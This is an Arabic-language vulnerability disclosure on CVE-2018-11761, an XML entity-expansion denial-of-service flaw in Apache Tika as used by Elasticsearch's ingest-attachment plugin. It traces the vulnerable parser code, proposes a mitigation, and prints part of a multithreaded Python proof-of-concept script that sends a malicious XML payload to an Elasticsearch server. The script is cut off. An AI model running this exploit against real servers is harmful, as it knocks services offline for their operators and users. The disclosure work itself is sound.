
ثغرة حرمان من الخدمة في Apache Tika (CVE-2018-11761)
في بحث حديث حول Apache Tika، اكتشفت ثغرة حرمان من الخدمة (DOS) في محلل XML الخاص به. سببها أن المحلل يحلل مستند XML بشكل غير صحيح.
كما نعلم، يتيح المكوّن الإضافي الأساسي لاستيعاب المرفقات (ingest attachment) لـ Elasticsearch استخراج مرفقات الملفات بالتنسيقات الشائعة (مثل PPT وXLS وPDF) باستخدام مكتبة استخراج النصوص Apache Tika. لذا، دعونا نلقي نظرة على الكود المصدري للمكوّن الإضافي لاستيعاب المرفقات.```Java /** subset of parsers for types we support */ private static final Parser PARSERS[] = new Parser[] { // documents new org.apache.tika.parser.html.HtmlParser(), new org.apache.tika.parser.rtf.RTFParser(), new org.apache.tika.parser.pdf.PDFParser(), new org.apache.tika.parser.txt.TXTParser(), new org.apache.tika.parser.microsoft.OfficeParser(), new org.apache.tika.parser.microsoft.OldExcelParser(), ParserDecorator.withoutTypes(new org.apache.tika.parser.microsoft.ooxml.OOXMLParser(), EXCLUDES), new org.apache.tika.parser.odf.OpenDocumentParser(), new org.apache.tika.parser.iwork.IWorkPackageParser(), new org.apache.tika.parser.xml.DcXMLParser(), new org.apache.tika.parser.epub.EpubParser(), };
في الواقع، يستخدم المكوّن الإضافي [`org.apache.tika.parser.xml.DcXMLParser()`](https://github.com/apache/tika/blob/e6e3b8817053e981f3843f1d3b7055b4ae30ed73/tika-parsers/src/main/java/org/apache/tika/parser/xml/DcXMLParser.java) كمحلّل لاستخراج المحتويات من ملف XML. وبعد مزيد من التحقيق، يمكننا ملاحظة الاستدعاءات التالية:
* يوسّع `DcXMLParser()` الفئة [`XMLParser`](https://github.com/apache/tika/blob/e24e6afb1c2a37be266839767115ad6adc5f8dcf/tika-parsers/src/main/java/org/apache/tika/parser/xml/XMLParser.java)
* يستخدم `XMLParser` الدالة [`XMLReaderUtils.parseSAX`](https://github.com/apache/tika/blob/e24e6afb1c2a37be266839767115ad6adc5f8dcf/tika-parsers/src/main/java/org/apache/tika/parser/xml/XMLParser.java#L75) لتحليل مستندات XML
* يستدعي `XMLReaderUtils.parseSAX` الدالة [`setPoolSize`](https://github.com/apache/tika/blob/e24e6afb1c2a37be266839767115ad6adc5f8dcf/tika-core/src/main/java/org/apache/tika/utils/XMLReaderUtils.java#L470) -> [`getSAXParser`](https://github.com/apache/tika/blob/e24e6afb1c2a37be266839767115ad6adc5f8dcf/tika-core/src/main/java/org/apache/tika/utils/XMLReaderUtils.java#L139) -> [`getSAXParserFactory`](https://github.com/apache/tika/blob/e24e6afb1c2a37be266839767115ad6adc5f8dcf/tika-core/src/main/java/org/apache/tika/utils/XMLReaderUtils.java#L163)```java
public static SAXParserFactory getSAXParserFactory() {
SAXParserFactory factory = SAXParserFactory.newInstance();
factory.setNamespaceAware(true);
factory.setValidating(false);
try {
factory.setFeature(
XMLConstants.FEATURE_SECURE_PROCESSING, true);
} catch (ParserConfigurationException e) {
} catch (SAXNotSupportedException e) {
} catch (SAXNotRecognizedException e) {
// TIKA-271: Some XML parsers do not support the
// secure-processing feature, even though it's required by
// JAXP in Java 5. Ignoring the exception is fine here, as
// deployments without this feature are inherently vulnerable
// to XML denial-of-service attacks.
}
return factory;
}
في الدالة أعلاه، يمكننا أن نرى قيودًا أمنية محدودة جدًا لكائن SAXParserFactory.newInstance():```Java
factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
وفقًا لشرح Oracle، عند تفعيل [`XMLConstants.FEATURE_SECURE_PROCESSING`](https://docs.oracle.com/javase/8/docs/api/javax/xml/XMLConstants.html)، فإنه يوجّه التطبيق إلى معالجة XML بشكل آمن. وقد يضع هذا حدودًا على تراكيب XML لتجنّب حالات مثل هجمات حجب الخدمة.
لكن في الواقع، إنه غير قادر على منع [توسيع كيانات XML](http://www.ws-attacks.org/XML_Entity_Expansion) بشكل كامل. لا يزال بإمكان المهاجم إرسال مستند XML مصمم بعناية إلى خادم ES لتنفيذ هجوم حجب الخدمة عبر ثغرة توسيع كيانات XML كما ذُكر في قسم `Proof of Concept`. لقد راجعت الكود المصدري لـ Apache Tika ووجدت أنهم يفعّلون فقط ميزة `XMLConstants.FEATURE_SECURE_PROCESSING`، والتي قد يظنون أنها تحمي من هذا النوع من الهجمات وفقًا لهذه [المقالة](http://blog.bdoughan.com/2011/03/preventing-entity-expansion-attacks-in.html) لأنها تحدّ من عدد توسيعات الكيانات إلى 64,000 افتراضيًا. لكن في الواقع، لا يزال بإمكاننا استغلال هذه التوسيعات البالغ عددها 64,000 لتوليد كائن XML مضخّم في الذاكرة، على سبيل المثال حجم ملف `ES_XML.xml` في الإثبات المفاهيمي (POC) يبلغ حوالي 64 كيلوبايت فقط، ولكن بمجرد رفعه إلى خادم Tika الخلفي على خادم ES، سيضطر Tika إلى تخصيص ما لا يقل عن 6 ميغابايت من الذاكرة (6 ميغابايت / 64 كيلوبايت = 100 مرة) لتحليله، مما يؤدي إلى زيادة استخدام وحدة المعالجة المركزية بسرعة.
لذلك، من وجهة نظري، قد يكون أحد الحلول الممكنة هو تعيين خاصية النظام التالية للحد من التأثير بشكل كبير وفقًا [لوثيقة Oracle](https://docs.oracle.com/javase/tutorial/jaxp/limits/limits.html):```
jdk.xml.entityExpansionLimit=1
العرض التوضيحي التالي تم اختباره والتحقق منه على ElasticSearch 6.3.31 الذي يستخدم Tika 1.18:
poc_dos_es.py:```Pythonimport requests import sys import base64 import json import threading import sys
headers = {"Content-Type" : "application/json"}
class ExploitThread(threading.Thread): def init(self, es_ip, es_port, mal_xml_file, thread_index): threading.Thread.init(self) self.es_ip = es_ip self.es_port = es_port self.mal_xml_file = mal_xml_file self.thread_index = thread_index self.num = 1
def create_ingest_att_pipeline(self, url):
pipeline_url = "{}/_ingest/pipeline/attachment".format(url)
data = {
"description" : "Extract attachment information",
"processors" : [{
"attachment" : {
"field" : "data",
"indexed_chars": "-1"
}
}]
}
res = requests.put(pipeline_url, headers=headers, data=json.dumps(data))
if res.status_code == 200:
print("[+] [Thread {}] [No. {}] pipeline created successfully, res: {}".format(self.thread_index, self.num, res.text))
else:
print("[!] [Thread {}] [No. {}] failed to create pipeline, res: {}".format(self.thread_index, self.num, res.text))
def send_payload(self, url, payload):
ingest_url = "{}/my_index/_doc/1?pipeline=attachment".format(url)
data = {
"data": payload
}
res = requests.put(ingest_url, headers=headers, data=json.dumps(data))
print("[+] [Thread {}] [No. {}] response from es clusters: {}".format(self.thread_index, self.num, res.text))
def verify_mal_doc(self, url):
ingest_url = "{}/my_index/_doc/1".format(url)
res = requests.get(ingest_url, headers=headers)
if res.status_code == 200:
print("[+] [Thread {}] [No. {}] res: {}".format(self.thread_index, self.num, res.text))
else:
print("[!] [Thread {}] [No. {}] failed to verify res: {}".format(self.thread_index, self.num, res.text))
def run(self):
url = "http://{}:{}".format(self.es_ip, self.es_port)
with open(self.mal_xml_file, 'rb') as f:
content = base64.b64encode(f.read())